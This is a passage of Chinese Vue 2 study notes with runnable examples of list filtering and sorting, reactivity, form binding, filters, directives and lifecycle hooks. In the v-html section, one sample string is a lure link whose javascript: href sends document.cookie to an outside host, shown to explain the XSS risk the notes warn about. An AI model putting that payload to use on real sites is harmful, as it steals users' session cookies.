    <title>列表过滤</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord" />
      <ul>
        <li v-for="(p,index) of filPersons" :key="index">
          {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          keyWord: "",
          persons: [
            {
              id: "001",
              name: "马冬梅",
              age: 19,
              sex: "女",
            },
            {
              id: "002",
              name: "周冬雨",
              age: 20,
              sex: "女",
            },
            {
              id: "003",
              name: "周杰伦",
              age: 21,
              sex: "男",
            },
            {
              id: "004",
              name: "温兆伦",
              age: 22,
              sex: "男",
            },
          ],
        },
        computed: {
          //必须使用计算属性:因为不能直接修改原数据(不能原=原.filter)

          filPersons() {
            //filter:过滤出来我们想要的(每一项都会经过filter方法),不改变原数组,返回的是新数组
            return this.persons.filter((p) => {
              //return写条件,复合条件的是我们想要的内容
              //indexOf:判断字符串里面是否包含指定字符
              return p.name.indexOf(this.keyWord) !== -1;
            });
          },
        },
      });
    </script>
  </body>
</html>

效果:

img

1.13.4. 列表排序

注意这个排序是在前面列表过滤的基础上进行排序,过滤和排序是不分家的!

html
<body>
  <div id="root">
    <h2>人员列表</h2>
    <input type="text" placeholder="请输入名字" v-model="keyWord" />
    <button @click="sortType = 2">年龄升序</button>
    <button @click="sortType = 1">年龄降序</button>
    <button @click="sortType = 0">原顺序</button>
    <ul>
      <li v-for="(p,index) of filPersons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>
  </div>

  <script>
    new Vue({
      el: "#root",
      data: {
        persons: [
          {
            id: "001",
            name: "马冬梅",
            age: 30,
            sex: "女",
          },
          {
            id: "002",
            name: "周冬雨",
            age: 45,
            sex: "女",
          },
          {
            id: "003",
            name: "周杰伦",
            age: 21,
            sex: "男",
          },
          {
            id: "004",
            name: "温兆伦",
            age: 22,
            sex: "男",
          },
        ],
        keyWord: "",
        sortType: 0, //0代表原顺序,1代表升序(是视觉意义上的,从上往下看),3代表降序
      },
      computed: {
        filPersons() {
          //过滤出来的数组为arr
          const arr = this.persons.filter((p) => {
            return p.name.indexOf(this.keyWord) !== -1; //这里只是把值给到arr,没有作为计算属性的值
          });
          if (this.sortType) {
            //即不为0,0在js中就是false
            //sort排序函数,两个参数,前减后就是升序(对象的某个排序标准的属性),后减前就是降序
            arr.sort((p1, p2) => {
              return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age;
            });
          }
          return arr; //如果是原顺序
        },
      },
    });
  </script>
</body>

效果:

img

1.13.5. Vue 数据监视的原理

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Vue数据监视</title>
    <style>
      button {
        margin-top: 10px;
      }
    </style>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h1>学生信息</h1>
      <button @click="student.age++">年龄+1岁</button><br />
      <button @click="addSex">添加性别属性,默认值:男</button> <br />
      <button @click="addFriend">在列表首位添加一个朋友</button> <br />
      <button @click="updateFirstFriendName">
        修改第一个朋友的名字为:张三</button
      ><br />
      <button @click="addHobby">添加一个爱好</button> <br />
      <button @click="updateHobby">修改第一个爱好为:开车</button><br />
      <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br />
      <h3>姓名:{{student.name}}</h3>
      <h3>年龄:{{student.age}}</h3>
      <h3 v-if="student.sex">性别:{{student.sex}}</h3>
      <h3>爱好:</h3>
      <ul>
        <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
      </ul>
      <h3>朋友们:</h3>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
      el: "#root",
      data: {
        student: {
          name: "tom",
          age: 18,
          hobby: ["抽烟", "喝酒", "烫头"], //数组
          friends: [
            { name: "jerry", age: 35 },
            { name: "tony", age: 36 },
          ],
        },
      },
      methods: {
        addSex() {
          //Vue.set(this.student,'sex','男')
          this.$set(this.student, "sex", "男");
        },
        addFriend() {
          this.student.friends.unshift({ name: "jack", age: 70 });
        },
        updateFirstFriendName() {
          this.student.friends[0].name = "张三";
        },
        addHobby() {
          this.student.hobby.push("学习");
        },
        updateHobby() {
          this.student.hobby.splice(0, 1, "开车");
        },
        removeSmoke() {
          this.student.hobby = this.student.hobby.filter((h) => {
            return h !== "抽烟"; //过滤出了一个不含有抽烟的数组,进行替换,非常巧妙
          });
        },
      },
    });
  </script>
</html>

效果:

img

总结:

Vue 监视数据的原理:

  1. vue 会监视 data 中所有层次的数据
  2. ==如何监测对象中的数据?==

通过 setter 方法实现监视,且要在 new Vue 时就传入要监测的数据

响应式 reactive:只要做了改变,紧接着做响应。

即 vue 对象中的属性只要改变了就会调用 set 方法,就会引起模板的重新解析(生成虚拟 dom,进行比较,生成真实 dom),就会给页面重新赋值,就会引起页面数据的变化!引起了一系列的动作!

  • 对象中后追加的属性(例如在控制台中,或者在其他代码逻辑中动态添加),Vue 默认不做响应式处理(即不会添加 get 和 set 方法)

  • 如需给后添加的属性做响应式,请使用如下 API:

    • Vue.set(target,propertyName/index,value)
    • vm.$set(target,propertyName/index,value)
    • target 是被添加属性的对象,但是 target 不允许是 vm,也不允许是 vm.data
    • 例:在控制台中:Vue.set(vm._data.student,'sex','男')或者 Vue.set(vm.student,'sex','男')
  1. ==如何监测数组中的数据?==

数组中的元素不会被添加 get 和 set 方法,而是直接用原生操作数组的 api 进行修改(但是实际上我们调用的 api 是被 vue 包装过的 api,里面第一步是调用原生 api,第二步是重新解析模板)!

通过包裹数组更新元素的方法实现,本质就是做了两件事:

  • 调用原生对应的方法对数组进行更新(用索引赋值的方法行不通,vue 检测不到修改)

  • 然后重新解析模板,进而更新页面

  • 注:如果是数组中的对象,那么这个对象的属性是有 get 和 set 方法的,但是这个对象没有

  1. 在 Vue 修改数组中的某个元素一定要用如下方法:
  • 使用这些 API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

  • 没有去除某一项的 api

  • Vue.set() 或 vm.$set() 也可以

特别注意:Vue.set() 和 vm.$set() 不能给 vm 或 vm 的根数据对象(data 等) 添加属性!

1.14. 收集表单数据

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>收集表单数据</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <!--绑定提交事件,并且阻止默认的跳转行为-->
      <form @submit.prevent="demo">
        <!--现在的表单都不需要action属性-->
        <label for="demo">账号:</label>
        <!--点击账号就可以跳转到输入框-->
        <input type="text" v-model.trim="userInfo.account" id="demo" />
        <br /><br />
        密码:<input type="password" v-model="userInfo.password" /> <br /><br />
        <!--type="number"控制用户只能输入数字,v-model.number控制输入的内容由字符串类型变成数字类型,一般要同时使用!!!-->
        年龄:<input type="number" v-model.number="userInfo.age" /> <br /><br />
        性别:<!--指定name属性为一样的,表示他俩是一组的,才可以单选-->
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male" />
        女<input
          type="radio"
          name="sex"
          v-model="userInfo.sex"
          value="female" />
        <br /><br />
        爱好: 学习<input
          type="checkbox"
          v-model="userInfo.hobby"
          value="study" />
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game" />
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat" />
        <br /><br />
        所属校区:
        <select v-model="userInfo.city">
          <option value="">请选择校区</option>
          <option value="beijing">北京</option>
          <option value="shanghai">上海</option>
          <option value="shenzhen">深圳</option>
          <option value="wuhan">武汉</option>
        </select>
        <br /><br />
        其他信息:
        <textarea v-model.lazy="userInfo.other"></textarea> <br /><br />
        <input type="checkbox" v-model="userInfo.agree" />阅读并接受<a
          href="http://www.atguigu.com"
          >《用户协议》</a
        >
        <button>提交</button>
      </form>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        userInfo: {
          account: "",
          password: "",
          age: 0,
          sex: "female", //默认为女
          hobby: [],
          city: "beijing",
          other: "",
          agree: "",
        },
      },
      methods: {
        demo() {
          console.log(JSON.stringify(this.userInfo)); //JSON.stringify可以把对象转换成json格式,尽量不用this._data
        },
      },
    });
  </script>
</html>

效果:

img

总结:

收集表单数据:

  • 若:,则 v-model 收集的是 value 值,用户输入的内容就是 value 值

  • 若:,则v-model 收集的是 value 值,且必须要给标签配置 value 属性(因为这个没法让用户输入内容),如果没有配置那么收集到的就是空

  • 若:

    • 没有配置 value 属性,那么收集的是 checked 属性(勾选 or 未勾选,是布尔值),并且就算只勾选了一个,由于双向绑定的机制,会导致所有的都被勾选上

    • 配置了 value 属性

      • v-model 的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)——>用于当作单选框来用(比如同意用户协议)
      • v-model 的初始值是数组,那么收集的就是 value 组成的数组(勾选一个,就添加一个)——>用于当作复选框来用
  • 若: 配合

    • 则 select 标签上面的 v-model 收集的是 value 值,且必须要给 option 标签配置 value 属性

v-model 的三个修饰符:

  1. lazy:失去焦点后再收集数据(可能用户需要输入很长,我们可以等用户输入完了再同步到 data 中)
  2. number:输入字符串转为有效的数字(因为表单只能接收字符串,但是我们 data 里面的属性可能是想要数字类型的,因为后端可能需要的不是字符串,比如年龄)
  3. trim:过滤输入的首尾空格

但是一般过滤工作是用正则表达式的

1.15. 过滤器

第三方 js 库:https://www.bootcdn.cn/ 在这个网站可以查到

关于时间的:moment.js,day.js(轻量级)

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>过滤器</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>时间</h2>
      <h3>当前时间戳:{{time}}</h3>
      <!--把time给timeFormater(),再用返回值替换掉整个{{}}-->
      <h3>转换后时间:{{time | timeFormater }}</h3>
      <h3>转换后时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3>
      <h3>截取年月日:{{time | timeFormater() | mySlice}}</h3>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;
    //全局过滤器:可以给别的Vue实例用
    Vue.filter("mySlice", function (value) {
      return value.slice(0, 4); //字符串截取
    });
    new Vue({
      el: "#root",
      data: {
        time: 1626750147900,
      },
      //局部过滤器
      filters: {
        //本质就是函数,和methods没什么太大区别,只是调用的时候用管道符 |
        //value为时间戳,.format方法就是格式化!
        timeFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
          //str要有默认值

          return dayjs(value).format(str);
        },
      },
    });
  </script>
</html>

效果:

img

总结:

过滤器:

  • 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

  • 语法:

    • 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:

    • 使用过滤器:0 或 v-bind:自定义属性 = "xxx | 过滤器名"(这么用的很少)

  • 备注:

    • 过滤器可以接收额外参数,多个过滤器也可以串联
    • 并没有改变原本的数据,而是产生新的对应的数据

1.16. 内置指令

1.16.1. v-text 指令

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-text指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <div>你好,{{name}}</div>
      <div v-text="name"></div>
      <div v-text="str"></div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "JOJO",
        str: "<h3>你好啊!</h3>",
      },
    });
  </script>
</html>

效果:

img

总结:

  • 之前学过的指令:

    • v-bind:单向绑定解析表达式,可简写为:

    • v-model:双向数据绑定

    • v-for:遍历数组 / 对象 / 字符串

    • v-on:绑定事件监听,可简写为@

    • v-if:条件渲染(动态控制节点是否存存在)

    • v-else:条件渲染(动态控制节点是否存存在)

      • v-text 指令:

        • 作用:向其所在的节点中渲染文本内容

        • 与插值语法的区别:v-text 会替换掉节点中的所有内容(原有的内容是什么都会被覆盖),则不会。

        • 其实 v-text=""和和:value=""基本相等

        • 用的是最多的,因为最灵活

1.16.2. v-html 指令

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-html指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <div>Hello,{{name}}</div>
      <div v-html="str"></div>
      <div v-html="str2"></div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

    new Vue({
      el: "#root",
      data: {
        name: "JOJO",
        str: "<h3>你好啊!</h3>",
        str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
      },
    });
  </script>
</html>

效果:

img

总结:

v-html 指令:

  1. 作用:向指定节点中渲染包含 html 结构的内容
  2. 与插值语法的区别:
  • v-html 会替换掉节点中所有的内容,则不会

  • v-html 可以识别 html 结构

严重注意:v-html 有安全性问题!!!

  • 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS 攻击

  • 一定要在可信的内容上使用 v-html,永远不要用在用户提交的内容上!!!

1.16.3. v-cloak 指令

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-cloak指令</title>
    <style>
      [v-cloak] {
        /* []是属性选择器,选中所有带有v-clock属性的元素 */

        display: none; /*隐藏默认内容*/
      }
    </style>
  </head>
  <body>
    <div id="root">
      <h2 v-cloak>{{name}}</h2>
    </div>
    <!--js一般是放在这里的-->
    <script type="text/javascript" src="../js/vue.js"></script>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
      },
    });
  </script>
</html>

效果:

img

总结:

v-cloak 指令(没有值):

本来没有这个属性,由我们自己添加,本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉所有 v-cloak 属性(从而让样式失效,显示渲染的数据)

使用 css 属性选择器配合 v-cloak 可以解决网速慢时(js 阻塞)页面展示出的问题,转而显示空白

1.16.4. v-once 指令

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-once指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2 v-once>n初始化的值是:{{n}}</h2>
      <h2>n现在的值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        n: 1,
      },
    });
  </script>
</html>

效果:

img

总结:

v-once 指令:

  1. v-once 所在节点在初次动态渲染后,就视为静态内容了
  2. 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能

1.16.5. v-pre 指令

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-pre指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2 v-pre>Vue其实很简单</h2>
      <h2>当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        n: 1,
      },
    });
  </script>
</html>

效果:

img

总结:

v-pre 指令:

  1. 跳过其所在节点的编译过程(因为这个节点是静态的,不可能改变)。
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

1.17. 自定义指令

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>自定义指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <!--
		需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
		需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
	-->
  <body>
    <div id="root">
      <h2>当前的n值是:<span v-text="n"></span></h2>
      <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
      <button @click="n++">点我n+1</button>
      <hr />
      <input type="text" v-fbind:value="n" />
      <!--等价于:<input type="text" v-bind:value="n" autofocus> -->
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        n: 1,
      },
      directives: {
        //定义指令

        // big函数何时会被调用?
        // 1.指令与元素成功绑定时(一上来 刚加载时,但是此时还没有放入页面呢!)
        // 2.指令所在的模板被重新解析时(造成模板重新解析的原因可能有很多)
        big(element, binding) {
          //element是指令所位于的真实dom;binding是绑定关系对象,里面有="value"的那个值,用.value可以取到

          console.log("big", this); //注意此处的this是window
          element.innerText = binding.value * 10; //扩大10倍后再作为文本
          //element.innerText可以指定文本内容
        },
        fbind: {
          //和v-bind类似,但是可以让其所绑定的input元素默认获取焦点

          //指令与元素成功绑定时(一上来 刚加载时)
          bind(element, binding) {
            //默认有

            element.value = binding.value;
          },
          //指令所在元素被插入页面时(只有已经放到页面里面了,才能获取焦点)
          inserted(element, binding) {
            //默认没有

            element.focus();
          },
          //指令所在的模板被重新解析时
          update(element, binding) {
            //默认有

            element.value = binding.value;
          },
        },
      },
    });
  </script>
</html>

效果:

img

总结:

自定义指令定义语法:

  1. 局部指令:
js
new Vue({
  directives: { 指令名: 配置对象 },
});

new Vue({
  directives: { 指令名: 回调函数 },
});
  1. 全局指令:
  • Vue.directive(指令名,配置对象)

  • Vue.directive(指令名,回调函数)

例如:

js
Vue.directive("fbind", {
  //指令与元素成功绑定时(一上来)
  bind(element, binding) {
    element.value = binding.value;
  },
  //指令所在元素被插入页面时
  inserted(element, binding) {
    element.focus();
  },
  //指令所在的模板被重新解析时
  update(element, binding) {
    element.value = binding.value;
  },
});
  1. 配置对象中常用的 3 个回调函数:
  • bind(element,binding):指令与元素成功绑定时调用

  • inserted(element,binding):指令所在元素被插入页面时调用

  • update(element,binding):指令所在模板结构被重新解析时调用

  1. 备注:
  • 指令定义时不加“v-”,但使用时要加“v-”

  • 指令名如果是多个单词,要使用 kebab-case 命名方式(短横线隔开式),不要用 camelCase 命名(驼峰式)

js
new Vue({
  el: "#root",
  data: {
    n: 1,
  },
  directives: {
    "big-number"(element, binding) {
      element.innerText = binding.value * 10;
    },
  },
});

1.18. Vue 生命周期

1.18.1. 引出生命周期:生命周期函数

mounted 是生命周期函数的其中一个,也是最常用的一个,生命周期函数也叫钩子函数

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2 v-if="a">你好啊</h2>
      <h2 :style="{opacity: opacity}">欢迎学习Vue</h2>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        a: false,
        opacity: 1,
      },
      mounted() {
        //挂载:vue完成模版的解析并把初始的真实的dom元素挂载完毕后(放入页面后)就调用mounted函数
        //只调用那一次
        //也就是说mounted也是方法,只不过是特殊的,只在关键时刻触发一次的那种!

        console.log("mounted", this);
        setInterval(() => {
          //setInterval是js中的定时器方法

          this.opacity -= 0.01; //每隔一段时间让透明度减小一点(更透明)
          if (this.opacity <= 0) this.opacity = 1;
        }, 16);
      },
    });
  </script>
</html>

效果:

img

总结:

生命周期:

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子
  2. 是什么:Vue 在关键时刻帮我们调用的一些特殊名称的函数
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  4. 生命周期函数中的 this 指向是 vm 或 组件实例对象

1.18.2. 分析生命周期

红色框里面是生命周期函数

有三个大块的流程:挂载(只有第一次是挂载),更新,销毁(只有调用 vm.$destory 时)

img

注意:

1.在 beforeUpdate 这个生命周期时,页面和数据尚未保持同步!——>面试可能会问

因为这个时候还没有生成新的虚拟 dom,也就没有新的真实 dom(还没有完成 Model 数据——>View 视图的更新)

2.在 beforeDestroy 这个生命周期时,可以修改 data 数据,也可以调用函数,但是造成的任何变化都不会再触发更新了(这是一个特例时期)

本来每次数据变化时都会触发 vue 的更新操作,即重新加载

3.created 创建的不是 vm,而是初始化数据监测和数据代理

4.一共有四对生命周期函数

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>分析生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2 v-text="n"></h2>
      <h2>当前的n值是:{{n}}</h2>
      <button @click="add">点我n+1</button>
      <button @click="bye">点我销毁vm</button>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      //如果el:'#root'挂载节点里面没有内容,那么解析的就是template里面的内容!但是我们一般不写在这里,而是写在上面的<div id="root"></div>中
      //注意template最外层必须是一个父节点,这个父节点会直接替换掉<div id="root"></div>,而不是填充进去
      // template:`
      // 	<div>
      // 		<h2>当前的n值是:{{n}}</h2>
      // 		<button @click="add">点我n+1</button>
      // 	</div>
      // `,
      data: {
        n: 1,
      },
      methods: {
        add() {
          console.log("add");
          this.n++;
        },
        bye() {
          console.log("bye");
          this.$destroy();
        },
      },
      watch: {
        n() {
          console.log("n变了");
        },
      },
      beforeCreate() {
        console.log("beforeCreate");
      },
      created() {
        console.log("created");
      },
      beforeMount() {
        console.log("beforeMount");
      },
      mounted() {
        console.log("mounted");
      },
      beforeUpdate() {
        console.log("beforeUpdate");
      },
      updated() {
        console.log("updated");
      },
      beforeDestroy() {
        console.log("beforeDestroy");
      },
      destroyed() {
        console.log("destroyed");
      },
    });
  </script>
</html>

效果:

img

1.18.3. 总结生命周期

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2 :style="{opacity}">欢迎学习Vue</h2>
      <button @click="opacity = 1">透明度设置为1</button>
      <button @click="stop">点我停止变换</button>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        opacity: 1,
      },
      methods: {
        stop() {
          this.$destroy();
        },
      },
      mounted() {
        console.log("mounted", this);
        this.timer = setInterval(() => {
          //这里定义变量,为timer(实际上就是定时器的id),技巧:用vm存变量,可以到别的函数中调用!

          console.log("setInterval");
          this.opacity -= 0.01;
          if (this.opacity <= 0) this.opacity = 1;
        }, 16);
      },
      beforeDestroy() {
        clearInterval(this.timer); //清除定时器,使用变量timer
        console.log("vm即将驾鹤西游了");
      },
    });
  </script>
</html>

效果:

img

总结:

常用的生命周期钩子:

  1. mounted:用于发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等初始化操作

    但是很多时候 ajax 请求也是写在 methods 里面的,要具体情况具体分析

  2. beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作

注意:在钩子里面使用 methods 中的方法时,要加 this.才可以!

关于销毁 Vue 实例:

  1. 销毁后借助 Vue 开发者工具看不到任何信息
  2. 销毁后自定义事件(vue 的事件)会失效,但原生 DOM 事件(js 的事件)依然有效
  3. 一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了